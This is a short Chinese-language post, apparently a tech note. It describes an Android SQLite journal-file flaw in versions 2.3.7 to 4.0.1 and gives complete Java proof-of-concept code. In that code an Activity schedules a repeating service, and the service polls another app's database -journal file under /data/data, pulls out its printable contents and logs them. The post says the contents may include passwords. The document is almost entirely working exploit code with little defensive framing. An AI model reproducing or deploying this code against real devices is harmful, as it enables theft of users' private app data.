Android 版本在2.3.7和4.0.1之间有个sqlite漏洞,这个漏洞会导致任何第三方应用可以访问/data/data/<packagename>/databases/<your db>-journal文件,这样就能读取你的私密数据,特别里面如果有密码什么的,读取方法如下:
public class SqliteJournalLeakActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_sqlite_journal_leak);
final Intent intent = new Intent(this,SqliteJournalLeakService.class);
final PendingIntent pending = PendingIntent.getService(this,0,intent,0);
final AlarmManager alarm = (AlarmManager)this.getSystemService(Context.ALARM_SERVICE);
alarm.cancel(pending);
long interval = 30;
alarm.setRepeating(AlarmManager.ELAPSED_REALTIME, SystemClock.elapsedRealtime(),interval,pending);
}
}
package com.ibm.android.sqlitejournal;
import android.app.Service;
import android.content.Intent;
import android.os.Binder;
import android.os.IBinder;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.util.HashMap;
public class SqliteJournalLeakService extends Service {
private final String[] Databases = {"/com.test/databases/scanresult.db"};
private final IBinder mBinder = new SqliteJournalLeakServiceBinder();
private HashMap<String, Long> mLastChanges = new HashMap<String, Long>();
private FileOutputStream mLog;
@Override
public void onCreate() {
super.onCreate();
try {
mLog = openFileOutput("leak.log", MODE_PRIVATE);
} catch (FileNotFoundException e) {
e.printStackTrace();
}
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
trackChanges();
return super.onStartCommand(intent, flags, startId);
}
private void trackChanges() {
for(String name:Databases){
name = "/data/data"+name+"-journal";
File f = new File(name);
if(!f.exists()){
continue;
}
if(!mLastChanges.containsKey(name)){
mLastChanges.put(name,f.lastModified());
handleChange(f);
}
long m = f.lastModified();
if(mLastChanges.get(name)>= m)
continue;
mLastChanges.put(name,m);
handleChange(f);
}
}
private void handleChange(File f) {
log(f.getAbsolutePath(),getPrintable(f));
}
private String getPrintable(File journal) {
String printable = "";
int len = 0;
FileReader fr;
try{
fr = new FileReader(journal);
char[] buffer = new char[1024];
while((len=fr.read(buffer))!=-1){
for(int i=0;i<len;i++){
if(filter(buffer[i]))
printable+=buffer[i];
}
}
}catch (Exception e){
e.printStackTrace();
}
return printable;
}
private boolean filter(char c) {
switch (c){
case '\n':
case '\r':
case '\t':
return true;
}
if((c>=0x20)&&(c<=0x80)){
return true;
}
return false;
}
private void log(String pkg,String data){
String line = pkg+":\n\n"+data+"\n===============================";
try{
mLog.write(line.getBytes());
mLog.flush();
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public IBinder onBind(Intent intent) {
return mBinder;
}
public class SqliteJournalLeakServiceBinder extends Binder {
SqliteJournalLeakService getService() {
return SqliteJournalLeakService.this;
}
}
}